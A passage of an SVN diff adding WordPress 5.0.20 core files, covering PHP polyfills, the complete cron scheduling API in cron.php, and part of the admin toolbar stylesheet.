+	 * The array_replace_recursive() function is a PHP 5.3 function. WordPress
+	 * currently supports down to PHP 5.2, so this method is a workaround
+	 * for PHP 5.2.
+	 *
+	 * Note: array_replace_recursive() supports infinite arguments, but for our use-
+	 * case, we only need to support two arguments.
+	 *
+	 * Subject to removal once WordPress makes PHP 5.3.0 the minimum requirement.
+	 *
+	 * @since 4.5.3
+	 *
+	 * @see https://secure.php.net/manual/en/function.array-replace-recursive.php#109390
+	 *
+	 * @param  array $base         Array with keys needing to be replaced.
+	 * @param  array $replacements Array with the replaced keys.
+	 *
+	 * @return array
+	 */
+	function array_replace_recursive( $base = array(), $replacements = array() ) {
+		foreach ( array_slice( func_get_args(), 1 ) as $replacements ) {
+			$bref_stack = array( &$base );
+			$head_stack = array( $replacements );
+
+			do {
+				end( $bref_stack );
+
+				$bref = &$bref_stack[ key( $bref_stack ) ];
+				$head = array_pop( $head_stack );
+
+				unset( $bref_stack[ key( $bref_stack ) ] );
+
+				foreach ( array_keys( $head ) as $key ) {
+					if ( isset( $key, $bref ) &&
+					     isset( $bref[ $key ] ) && is_array( $bref[ $key ] ) &&
+					     isset( $head[ $key ] ) && is_array( $head[ $key ] )
+					) {
+						$bref_stack[] = &$bref[ $key ];
+						$head_stack[] = $head[ $key ];
+					} else {
+						$bref[ $key ] = $head[ $key ];
+					}
+				}
+			} while ( count( $head_stack ) );
+		}
+
+		return $base;
+	}
+endif;
+
+/**
+ * Polyfill for the SPL autoloader. In PHP 5.2 (but not 5.3 and later), SPL can
+ * be disabled, and PHP 7.2 raises notices if the compiler finds an __autoload()
+ * function declaration. Function availability is checked here, and the
+ * autoloader is included only if necessary.
+ */
+if ( ! function_exists( 'spl_autoload_register' ) ) {
+	require_once ABSPATH . WPINC . '/spl-autoload-compat.php';
+}
+
+if ( ! function_exists( 'is_countable' ) ) {
+	/**
+	 * Polyfill for is_countable() function added in PHP 7.3.
+	 *
+	 * Verify that the content of a variable is an array or an object
+	 * implementing the Countable interface.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param mixed $var The value to check.
+	 *
+	 * @return bool True if `$var` is countable, false otherwise.
+	 */
+	function is_countable( $var ) {
+		return ( is_array( $var )
+			|| $var instanceof Countable
+			|| $var instanceof SimpleXMLElement
+			|| $var instanceof ResourceBundle
+		);
+	}
+}
+
+if ( ! function_exists( 'is_iterable' ) ) {
+	/**
+	 * Polyfill for is_iterable() function added in PHP 7.1.
+	 *
+	 * Verify that the content of a variable is an array or an object
+	 * implementing the Traversable interface.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param mixed $var The value to check.
+	 *
+	 * @return bool True if `$var` is iterable, false otherwise.
+	 */
+	function is_iterable( $var ) {
+		return ( is_array( $var ) || $var instanceof Traversable );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/cron.php
===================================================================
--- /tags/5.0.20/src/wp-includes/cron.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/cron.php	(revision 56912)
@@ -0,0 +1,530 @@
+<?php
+/**
+ * WordPress Cron API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Schedules an event to run only once.
+ *
+ * Schedules an event which will execute once by the WordPress actions core at
+ * a time which you specify. The action will fire off when someone visits your
+ * WordPress site, if the schedule time has passed.
+ *
+ * Note that scheduling an event to occur within 10 minutes of an existing event
+ * with the same action hook will be ignored unless you pass unique `$args` values
+ * for each scheduled event.
+ *
+ * @since 2.1.0
+ * @link https://codex.wordpress.org/Function_Reference/wp_schedule_single_event
+ *
+ * @param int $timestamp Unix timestamp (UTC) for when to run the event.
+ * @param string $hook Action hook to execute when event is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|void False if the event does not get scheduled.
+ */
+function wp_schedule_single_event( $timestamp, $hook, $args = array()) {
+	// Make sure timestamp is a positive integer
+	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
+		return false;
+	}
+
+	// Don't schedule a duplicate if there's already an identical event due within 10 minutes of it
+	$next = wp_next_scheduled($hook, $args);
+	if ( $next && abs( $next - $timestamp ) <= 10 * MINUTE_IN_SECONDS ) {
+		return false;
+	}
+
+	$crons = _get_cron_array();
+	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args );
+	/**
+	 * Filters a single event before it is scheduled.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param stdClass $event {
+	 *     An object containing an event's data.
+	 *
+	 *     @type string       $hook      Action hook to execute when event is run.
+	 *     @type int          $timestamp Unix timestamp (UTC) for when to run the event.
+	 *     @type string|false $schedule  How often the event should recur. See `wp_get_schedules()`.
+	 *     @type array        $args      Arguments to pass to the hook's callback function.
+	 * }
+	 */
+	$event = apply_filters( 'schedule_event', $event );
+
+	// A plugin disallowed this event
+	if ( ! $event )
+		return false;
+
+	$key = md5(serialize($event->args));
+
+	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Schedule a recurring event.
+ *
+ * Schedules a hook which will be executed by the WordPress actions core on a
+ * specific interval, specified by you. The action will trigger when someone
+ * visits your WordPress site, if the scheduled time has passed.
+ *
+ * Valid values for the recurrence are hourly, daily, and twicedaily. These can
+ * be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
+ *
+ * Use wp_next_scheduled() to prevent duplicates
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Unix timestamp (UTC) for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when event is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|void False if the event does not get scheduled.
+ */
+function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) {
+	// Make sure timestamp is a positive integer
+	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
+		return false;
+	}
+
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+
+	if ( !isset( $schedules[$recurrence] ) )
+		return false;
+
+	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] );
+	/** This filter is documented in wp-includes/cron.php */
+	$event = apply_filters( 'schedule_event', $event );
+
+	// A plugin disallowed this event
+	if ( ! $event )
+		return false;
+
+	$key = md5(serialize($event->args));
+
+	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Reschedule a recurring event.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Unix timestamp (UTC) for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when event is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|void False if the event does not get rescheduled.
+ */
+function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array() ) {
+	// Make sure timestamp is a positive integer
+	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
+		return false;
+	}
+
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+	$key = md5( serialize( $args ) );
+	$interval = 0;
+
+	// First we try to get it from the schedule
+	if ( isset( $schedules[ $recurrence ] ) ) {
+		$interval = $schedules[ $recurrence ]['interval'];
+	}
+	// Now we try to get it from the saved interval in case the schedule disappears
+	if ( 0 == $interval ) {
+		$interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
+	}
+	// Now we assume something is wrong and fail to schedule
+	if ( 0 == $interval ) {
+		return false;
+	}
+
+	$now = time();
+
+	if ( $timestamp >= $now ) {
+		$timestamp = $now + $interval;
+	} else {
+		$timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
+	}
+
+	wp_schedule_event( $timestamp, $recurrence, $hook, $args );
+}
+
+/**
+ * Unschedule a previously scheduled event.
+ *
+ * The $timestamp and $hook parameters are required so that the event can be
+ * identified.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Unix timestamp (UTC) for when to run the event.
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param array $args Arguments to pass to the hook's callback function.
+ * Although not passed to a callback function, these arguments are used
+ * to uniquely identify the scheduled event, so they should be the same
+ * as those used when originally scheduling the event.
+ * @return false|void False if the event does not get unscheduled.
+ */
+function wp_unschedule_event( $timestamp, $hook, $args = array() ) {
+	// Make sure timestamp is a positive integer
+	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
+		return false;
+	}
+
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	unset( $crons[$timestamp][$hook][$key] );
+	if ( empty($crons[$timestamp][$hook]) )
+		unset( $crons[$timestamp][$hook] );
+	if ( empty($crons[$timestamp]) )
+		unset( $crons[$timestamp] );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Unschedules all events attached to the hook with the specified arguments.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param array $args Optional. Arguments that were to be passed to the hook's callback function.
+ */
+function wp_clear_scheduled_hook( $hook, $args = array() ) {
+	// Backward compatibility
+	// Previously this function took the arguments as discrete vars rather than an array like the rest of the API
+	if ( !is_array($args) ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0', __('This argument has changed to an array to match the behavior of the other cron functions.') );
+		$args = array_slice( func_get_args(), 1 );
+	}
+
+	// This logic duplicates wp_next_scheduled()
+	// It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
+	// and, wp_next_scheduled() returns the same schedule in an infinite loop.
+	$crons = _get_cron_array();
+	if ( empty( $crons ) )
+		return;
+
+	$key = md5( serialize( $args ) );
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[ $hook ][ $key ] ) ) {
+			wp_unschedule_event( $timestamp, $hook, $args );
+		}
+	}
+}
+
+/**
+ * Unschedules all events attached to the hook.
+ *
+ * Can be useful for plugins when deactivating to clean up the cron queue.
+ *
+ * @since 4.9.0
+ *
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ */
+function wp_unschedule_hook( $hook ) {
+	$crons = _get_cron_array();
+
+	foreach( $crons as $timestamp => $args ) {
+		unset( $crons[ $timestamp ][ $hook ] );
+
+		if ( empty( $crons[ $timestamp ] ) ) {
+			unset( $crons[ $timestamp ] );
+		}
+	}
+
+	_set_cron_array( $crons );
+}
+
+/**
+ * Retrieve the next timestamp for an event.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to execute when event is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|int The Unix timestamp of the next time the scheduled event will occur.
+ */
+function wp_next_scheduled( $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $timestamp;
+	}
+	return false;
+}
+
+/**
+ * Sends a request to run cron through HTTP request that doesn't halt page loading.
+ *
+ * @since 2.1.0
+ *
+ * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
+ */
+function spawn_cron( $gmt_time = 0 ) {
+	if ( ! $gmt_time )
+		$gmt_time = microtime( true );
+
+	if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) )
+		return;
+
+	/*
+	 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
+	 * and has not finished running.
+	 *
+	 * Multiple processes on multiple web servers can run this code concurrently,
+	 * this lock attempts to make spawning as atomic as possible.
+	 */
+	$lock = get_transient('doing_cron');
+
+	if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS )
+		$lock = 0;
+
+	// don't run if another process is currently running it or more than once every 60 sec.
+	if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time )
+		return;
+
+	//sanity check
+	$crons = _get_cron_array();
+	if ( !is_array($crons) )
+		return;
+
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $gmt_time )
+		return;
+
+	if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
+		if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) ||  defined( 'XMLRPC_REQUEST' ) ) {
+			return;
+		}
+
+		$doing_wp_cron = sprintf( '%.22F', $gmt_time );
+		set_transient( 'doing_cron', $doing_wp_cron );
+
+		ob_start();
+		wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+		echo ' ';
+
+		// flush any buffers and send the headers
+		while ( @ob_end_flush() );
+		flush();
+
+		WP_DEBUG ? include_once( ABSPATH . 'wp-cron.php' ) : @include_once( ABSPATH . 'wp-cron.php' );
+		return;
+	}
+
+	// Set the cron lock with the current unix timestamp, when the cron is being spawned.
+	$doing_wp_cron = sprintf( '%.22F', $gmt_time );
+	set_transient( 'doing_cron', $doing_wp_cron );
+
+	/**
+	 * Filters the cron request arguments.
+	 *
+	 * @since 3.5.0
+	 * @since 4.5.0 The `$doing_wp_cron` parameter was added.
+	 *
+	 * @param array $cron_request_array {
+	 *     An array of cron request URL arguments.
+	 *
+	 *     @type string $url  The cron request URL.
+	 *     @type int    $key  The 22 digit GMT microtime.
+	 *     @type array  $args {
+	 *         An array of cron request arguments.
+	 *
+	 *         @type int  $timeout   The request timeout in seconds. Default .01 seconds.
+	 *         @type bool $blocking  Whether to set blocking for the request. Default false.
+	 *         @type bool $sslverify Whether SSL should be verified for the request. Default false.
+	 *     }
+	 * }
+	 * @param string $doing_wp_cron The unix timestamp of the cron lock.
+	 */
+	$cron_request = apply_filters( 'cron_request', array(
+		'url'  => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
+		'key'  => $doing_wp_cron,
+		'args' => array(
+			'timeout'   => 0.01,
+			'blocking'  => false,
+			/** This filter is documented in wp-includes/class-wp-http-streams.php */
+			'sslverify' => apply_filters( 'https_local_ssl_verify', false )
+		)
+	), $doing_wp_cron );
+
+	wp_remote_post( $cron_request['url'], $cron_request['args'] );
+}
+
+/**
+ * Run scheduled callbacks or spawn cron for all scheduled events.
+ *
+ * @since 2.1.0
+ */
+function wp_cron() {
+	// Prevent infinite loops caused by lack of wp-cron.php
+	if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) )
+		return;
+
+	if ( false === $crons = _get_cron_array() )
+		return;
+
+	$gmt_time = microtime( true );
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $gmt_time )
+		return;
+
+	$schedules = wp_get_schedules();
+	foreach ( $crons as $timestamp => $cronhooks ) {
+		if ( $timestamp > $gmt_time ) break;
+		foreach ( (array) $cronhooks as $hook => $args ) {
+			if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) )
+				continue;
+			spawn_cron( $gmt_time );
+			break 2;
+		}
+	}
+}
+
+/**
+ * Retrieve supported event recurrence schedules.
+ *
+ * The default supported recurrences are 'hourly', 'twicedaily', and 'daily'. A plugin may
+ * add more by hooking into the {@see 'cron_schedules'} filter. The filter accepts an array
+ * of arrays. The outer array has a key that is the name of the schedule or for
+ * example 'weekly'. The value is an array with two keys, one is 'interval' and
+ * the other is 'display'.
+ *
+ * The 'interval' is a number in seconds of when the cron job should run. So for
+ * 'hourly', the time is 3600 or 60*60. For weekly, the value would be
+ * 60*60*24*7 or 604800. The value of 'interval' would then be 604800.
+ *
+ * The 'display' is the description. For the 'weekly' key, the 'display' would
+ * be `__( 'Once Weekly' )`.
+ *
+ * For your plugin, you will be passed an array. you can easily add your
+ * schedule by doing the following.
+ *
+ *     // Filter parameter variable name is 'array'.
+ *     $array['weekly'] = array(
+ *         'interval' => 604800,
+ *     	   'display'  => __( 'Once Weekly' )
+ *     );
+ *
+ *
+ * @since 2.1.0
+ *
+ * @return array
+ */
+function wp_get_schedules() {
+	$schedules = array(
+		'hourly'     => array( 'interval' => HOUR_IN_SECONDS,      'display' => __( 'Once Hourly' ) ),
+		'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ) ),
+		'daily'      => array( 'interval' => DAY_IN_SECONDS,       'display' => __( 'Once Daily' ) ),
+	);
+	/**
+	 * Filters the non-default cron schedules.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $new_schedules An array of non-default cron schedules. Default empty.
+	 */
+	return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
+}
+
+/**
+ * Retrieve the recurrence schedule for an event.
+ *
+ * @see wp_get_schedules() for available schedules.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to identify the event.
+ * @param array $args Optional. Arguments passed to the event's callback function.
+ * @return string|false False, if no schedule. Schedule name on success.
+ */
+function wp_get_schedule($hook, $args = array()) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $cron[$hook][$key]['schedule'];
+	}
+	return false;
+}
+
+//
+// Private functions
+//
+
+/**
+ * Retrieve cron info array option.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @return false|array CRON info array.
+ */
+function _get_cron_array()  {
+	$cron = get_option('cron');
+	if ( ! is_array($cron) )
+		return false;
+
+	if ( !isset($cron['version']) )
+		$cron = _upgrade_cron_array($cron);
+
+	unset($cron['version']);
+
+	return $cron;
+}
+
+/**
+ * Updates the CRON option with the new CRON array.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from _get_cron_array().
+ */
+function _set_cron_array($cron) {
+	$cron['version'] = 2;
+	update_option( 'cron', $cron );
+}
+
+/**
+ * Upgrade a Cron info array.
+ *
+ * This function upgrades the Cron info array to version 2.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from _get_cron_array().
+ * @return array An upgraded Cron info array.
+ */
+function _upgrade_cron_array($cron) {
+	if ( isset($cron['version']) && 2 == $cron['version'])
+		return $cron;
+
+	$new_cron = array();
+
+	foreach ( (array) $cron as $timestamp => $hooks) {
+		foreach ( (array) $hooks as $hook => $args ) {
+			$key = md5(serialize($args['args']));
+			$new_cron[$timestamp][$hook][$key] = $args;
+		}
+	}
+
+	$new_cron['version'] = 2;
+	update_option( 'cron', $new_cron );
+	return $new_cron;
+}
Index: /tags/5.0.20/src/wp-includes/css/admin-bar.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/admin-bar.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/admin-bar.css	(revision 56912)
@@ -0,0 +1,1141 @@
+#wpadminbar * {
+	height: auto;
+	width: auto;
+	margin: 0;
+	padding: 0;
+	position: static;
+	text-shadow: none;
+	text-transform: none;
+	letter-spacing: normal;
+	font-size: 13px;
+	font-weight: 400;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	line-height: 32px;
+	border-radius: 0;
+	box-sizing: content-box;
+	transition: none;
+	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
+	-moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */
+}
+
+.rtl #wpadminbar * {
+	font-family: Tahoma, sans-serif;
+}
+
+html:lang(he-il) .rtl #wpadminbar *  {
+ 	font-family: Arial, sans-serif;
+}
+
+#wpadminbar .ab-empty-item {
+	cursor: default;
+}
+
+#wpadminbar .ab-empty-item,
+#wpadminbar a.ab-item,
+#wpadminbar > #wp-toolbar span.ab-label,
+#wpadminbar > #wp-toolbar span.noticon {
+	color: #eee;
+}
+
+#wpadminbar #wp-admin-bar-site-name a.ab-item,
+#wpadminbar #wp-admin-bar-my-sites a.ab-item {
+	white-space: nowrap;
+	overflow: hidden;
+	text-overflow: ellipsis;
+}
+
+#wpadminbar ul li:before,
+#wpadminbar ul li:after {
+	content: normal;
+}
+
+#wpadminbar a,
+#wpadminbar a:hover,
+#wpadminbar a img,
+#wpadminbar a img:hover {
+	outline: none;
+	border: none;
+	text-decoration: none;
+	background: none;
+}
+
+#wpadminbar a:focus,
+#wpadminbar a:active,
+#wpadminbar input[type="text"],
+#wpadminbar input[type="password"],
+#wpadminbar input[type="number"],
+#wpadminbar input[type="search"],
+#wpadminbar input[type="email"],
+#wpadminbar input[type="url"],
+#wpadminbar select,
+#wpadminbar textarea,
+#wpadminbar div {
+	box-shadow: none;
+	outline: none;
+}
+
+#wpadminbar {
+	direction: ltr;
+	color: #ccc;
+	font-size: 13px;
+	font-weight: 400;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	line-height: 32px;
+	height: 32px;
+	position: fixed;
+	top: 0;
+	left: 0;
+	width: 100%;
+	min-width: 600px; /* match the min-width of the body in wp-admin.css */
+	z-index: 99999;
+	background: #23282d;
+}
+
+#wpadminbar .ab-sub-wrapper,
+#wpadminbar ul,
+#wpadminbar ul li {
+	background: none;
+	clear: none;
+	list-style: none;
+	margin: 0;
+	padding: 0;
+	position: relative;
+	text-indent: 0;
+	z-index: 99999;
+}
+
+#wpadminbar ul#wp-admin-bar-root-default>li {
+	margin-right: 0;
+}
+
+#wpadminbar .quicklinks ul {
+	text-align: left;
+}
+
+#wpadminbar li {
+	float: left;
+}
+
+#wpadminbar .ab-empty-item {
+	outline: none;
+}
+
+#wpadminbar .quicklinks .ab-top-secondary > li {
+	float: right;
+}
+
+#wpadminbar .quicklinks a,
+#wpadminbar .quicklinks .ab-empty-item,
+#wpadminbar .shortlink-input {
+	height: 32px;
+	display: block;
+	padding: 0 10px;
+	margin: 0;
+}
+
+#wpadminbar .quicklinks > ul > li > a {
+	padding: 0 8px 0 7px;
+}
+
+#wpadminbar .menupop .ab-sub-wrapper,
+#wpadminbar .shortlink-input {
+	margin: 0;
+	padding: 0;
+	box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+	background: #32373c;
+	display: none;
+	position: absolute;
+	float: none;
+}
+
+#wpadminbar.ie7 .menupop .ab-sub-wrapper,
+#wpadminbar.ie7 .shortlink-input {
+	top: 32px;
+	left: 0;
+}
+
+#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
+	min-width: 100%;
+}
+
+#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
+	right: 0;
+	left: auto;
+}
+
+#wpadminbar .ab-submenu {
+	padding: 6px 0;
+}
+
+#wpadminbar .selected .shortlink-input {
+	display: block;
+}
+
+#wpadminbar .quicklinks .menupop ul li {
+	float: none;
+}
+
+#wpadminbar .quicklinks .menupop ul li a strong {
+	font-weight: 600;
+}
+
+#wpadminbar .quicklinks .menupop ul li .ab-item,
+#wpadminbar .quicklinks .menupop ul li a strong,
+#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
+#wpadminbar .shortlink-input {
+	line-height: 26px;
+	height: 26px;
+	white-space: nowrap;
+	min-width: 140px;
+}
+
+#wpadminbar .shortlink-input {
+	width: 200px;
+}
+
+#wpadminbar.nojs li:hover > .ab-sub-wrapper,
+#wpadminbar li.hover > .ab-sub-wrapper {
+	display: block;
+}
+
+#wpadminbar .menupop li:hover > .ab-sub-wrapper,
+#wpadminbar .menupop li.hover > .ab-sub-wrapper {
+	margin-left: 100%;
+	margin-top: -32px;
+}
+
+#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
+#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
+	margin-left: 0;
+	left: inherit;
+	right: 100%;
+}
+
+#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
+#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
+#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
+#wpadminbar .ab-top-menu > li.hover > .ab-item {
+	background: #32373c;
+	color: #00b9eb;
+}
+
+#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
+#wpadminbar > #wp-toolbar li.hover span.ab-label,
+#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
+	color: #00b9eb;
+}
+
+#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
+#wpadminbar .ab-icon,
+#wpadminbar .ab-item:before {
+	position: relative;
+	float: left;
+	font: normal 20px/1 dashicons;
+	speak: none;
+	padding: 4px 0;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	background-image: none !important;
+	margin-right: 6px;
+}
+
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar #adminbarsearch:before {
+	color: #a0a5aa;
+	color: rgba(240,245,250,0.6);
+}
+
+#wpadminbar .ab-icon:before,
+#wpadminbar .ab-item:before,
+#wpadminbar #adminbarsearch:before {
+	position: relative;
+	transition: all .1s ease-in-out;
+}
+
+#wpadminbar .ab-label {
+	display: inline-block;
+	height: 32px;
+}
+
+#wpadminbar .ab-submenu .ab-item {
+	color: #b4b9be;
+	color: rgba(240,245,250,0.7);
+}
+
+#wpadminbar .quicklinks .menupop ul li a,
+#wpadminbar .quicklinks .menupop ul li a strong,
+#wpadminbar .quicklinks .menupop.hover ul li a,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
+	color: #b4b9be;
+	color: rgba(240,245,250,0.7);
+}
+
+#wpadminbar .quicklinks .menupop ul li a:hover,
+#wpadminbar .quicklinks .menupop ul li a:focus,
+#wpadminbar .quicklinks .menupop ul li a:hover strong,
+#wpadminbar .quicklinks .menupop ul li a:focus strong,
+#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
+#wpadminbar .quicklinks .menupop.hover ul li a:hover,
+#wpadminbar .quicklinks .menupop.hover ul li a:focus,
+#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,
+#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
+#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
+#wpadminbar li:hover .ab-icon:before,
+#wpadminbar li:hover .ab-item:before,
+#wpadminbar li a:focus .ab-icon:before,
+#wpadminbar li .ab-item:focus:before,
+#wpadminbar li .ab-item:focus .ab-icon:before,
+#wpadminbar li.hover .ab-icon:before,
+#wpadminbar li.hover .ab-item:before,
+#wpadminbar li:hover #adminbarsearch:before,
+#wpadminbar li #adminbarsearch.adminbar-focused:before {
+	color: #00b9eb;
+}
+
+#wpadminbar.mobile .quicklinks .ab-icon:before,
+#wpadminbar.mobile .quicklinks .ab-item:before {
+	color: #b4b9be;
+}
+
+#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
+#wpadminbar.mobile .quicklinks .hover .ab-item:before {
+	color: #00b9eb;
+}
+
+#wpadminbar .menupop .menupop > .ab-item:before,
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+	position: absolute;
+	font: normal 17px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#wpadminbar .menupop .menupop > .ab-item {
+	display: block;
+	padding-right: 2em;
+}
+
+#wpadminbar .menupop .menupop > .ab-item:before {
+	top: 1px;
+	right: 4px;
+	content: "\f139";
+	color: inherit;
+}
+
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
+	padding-left: 2em;
+	padding-right: 1em;
+}
+
+#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
+	top: 1px;
+	left: 6px;
+	content: "\f141";
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
+	display: block;
+	position: relative;
+	right: auto;
+	margin: 0;
+	box-shadow: none;
+}
+
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
+#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
+	background: #464b50;
+}
+
+#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
+#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
+	color: #00b9eb;
+}
+
+#wpadminbar .quicklinks a span#ab-updates {
+	background: #eee;
+	color: #32373c;
+	display: inline;
+	padding: 2px 5px;
+	font-size: 10px;
+	font-weight: 600;
+	border-radius: 10px;
+}
+
+#wpadminbar .quicklinks a:hover span#ab-updates  {
+	background: #fff;
+	color: #000;
+}
+
+#wpadminbar .ab-top-secondary {
+	float: right;
+}
+
+#wpadminbar ul li:last-child,
+#wpadminbar ul li:last-child .ab-item {
+	box-shadow: none;
+}
+
+/**
+ * My Account
+ */
+#wp-admin-bar-my-account > ul {
+	min-width: 198px;
+}
+
+#wp-admin-bar-my-account > .ab-item:before {
+	content: "\f110";
+	top: 2px;
+	float: right;
+	margin-left: 6px;
+	margin-right: 0;
+}
+
+#wp-admin-bar-my-account.with-avatar > .ab-item:before {
+	display: none;
+	content: none;
+}
+
+#wp-admin-bar-my-account.with-avatar > ul {
+	min-width: 270px;
+}
+
+#wpadminbar.ie8 #wp-admin-bar-my-account.with-avatar .ab-item {
+	white-space: nowrap;
+}
+
+#wpadminbar #wp-admin-bar-user-actions > li {
+	margin-left: 16px;
+	margin-right: 16px;
+}
+
+#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
+	padding: 6px 0 12px;
+}
+
